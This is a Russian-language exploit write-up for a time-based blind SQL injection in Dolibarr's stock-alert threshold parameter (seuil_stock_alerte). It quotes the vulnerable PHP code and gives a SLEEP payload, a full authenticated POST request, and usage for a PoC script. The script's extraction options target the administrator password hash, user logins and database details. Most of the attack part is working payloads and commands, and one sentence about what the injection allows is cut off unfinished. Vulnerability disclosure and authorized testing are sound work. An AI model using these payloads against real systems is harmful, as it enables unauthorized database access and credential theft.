
Действие, отвечающее за установку порогового значения оповещения о запасах для каждого склада (`seuil_stock_alerte`), принимает управляемый пользователем ввод и впоследствии включает его в SQL-запрос без надлежащего числового приведения или привязки параметров. #dolibarr #exploit
SQL-инъекция, затрагивающая функциональность управления запасами товаров через
параметр seuil_stock_alerte.
Протестировано и подтверждено на:
seuil_stock_alerte
Параметр принимается:
/product/stock/product.php
при использовании действия addlimitstockwarehouse.
Параметр извлекается без числового преобразования:
$seuil_stock_alerte = GETPOST('seuil_stock_alerte');
$pse->seuil_stock_alerte = $seuil_stock_alerte;
Впоследствии он попадает в SQL-запрос через прямую конкатенацию строк:
$sql .= ' seuil_stock_alerte = '.
(isset($this->seuil_stock_alerte)
? $this->seuil_stock_alerte
: "null").',';
Поскольку значение вставляется в неэкранированный числовой контекст, вместо обычного числового значения можно передать SQL-выражение.
Булево/временнóе выражение достаточно для демонстрации выполнения:
(SELECT IF((1=1),SLEEP(15),0))
Пример параметра:
seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))
Успешный запрос вызывает задержку HTTP-ответа примерно на 15 секунд, что подтверждает вычисление внедрённого SQL-выражения.
Уязвимое действие может быть достигнуто аутентифицированным запросом, подобным:
POST /product/stock/product.php?id=1 HTTP/1.1
Host: target
Cookie: DOLSESSID_xxxxx=<session>
Content-Type: application/x-www-form-urlencoded
action=addlimitstockwarehouse&token=<csrf>&id=1&fk_entrepot=1&desiredstock=1&seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))
Требования:
Проблема была воспроизведена с аутентифицированной учётной записью, имеющей только:
Product → Create (produit/creer)
разрешение — низкопривилегированная учётная запись, способная создавать товары.
SQL-инъекция позволяет:
Ограничения на уровне базы данных в этой системе предотвратили прямое выполнение команд ОС.
Прилагаемый PoC-скрипт stock_sqli_poc.py автоматизирует процесс эксплуатации:
python3 stock_sqli_poc.py \
--url http://127.0.0.1:8088 \
--proxy http://127.0.0.1:8080 \
--login webeditor \
--password 'WebEdit0r!' \
--product-id 1 \
--warehouse-id 1 \
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)" \
--length 14
| Параметр | По умолчанию | Описание |
|---|---|---|
--url | http://127.0.0.1:8088 | URL целевого экземпляра Dolibarr |
--proxy | http://127.0.0.1:8080 | HTTP-прокси (Burp и т.д.). Установите пустую строку для отключения |
--login | webeditor | Имя пользователя низкопривилегированной учётной записи |
--password | WebEdit0r! | Пароль учётной записи |
--product-id | 1 | ID целевого товара |
--warehouse-id | 1 | ID целевого склада |
--delay | 1.0 | Длительность SLEEP в секундах для обнаружения по времени |
--extract | (SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1) | SQL-выражение для извлечения |
--length | 14 | Максимальная длина извлекаемых символов |
Извлечь хеш пароля администратора:
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)"
Перечислить пользователей:
--extract "(SELECT GROUP_CONCAT(login) FROM llx_user)"
Версия базы данных:
--extract "VERSION()"
Текущий пользователь базы данных:
--extract "USER()"
⚠️ Правовое уведомление: Используйте этот эксплойт только против систем, на которые у вас есть явное письменное разрешение. Несанкционированный доступ к компьютерным системам незаконен. Этот PoC предоставлен исключительно в образовательных целях и для авторизованного тестирования безопасности.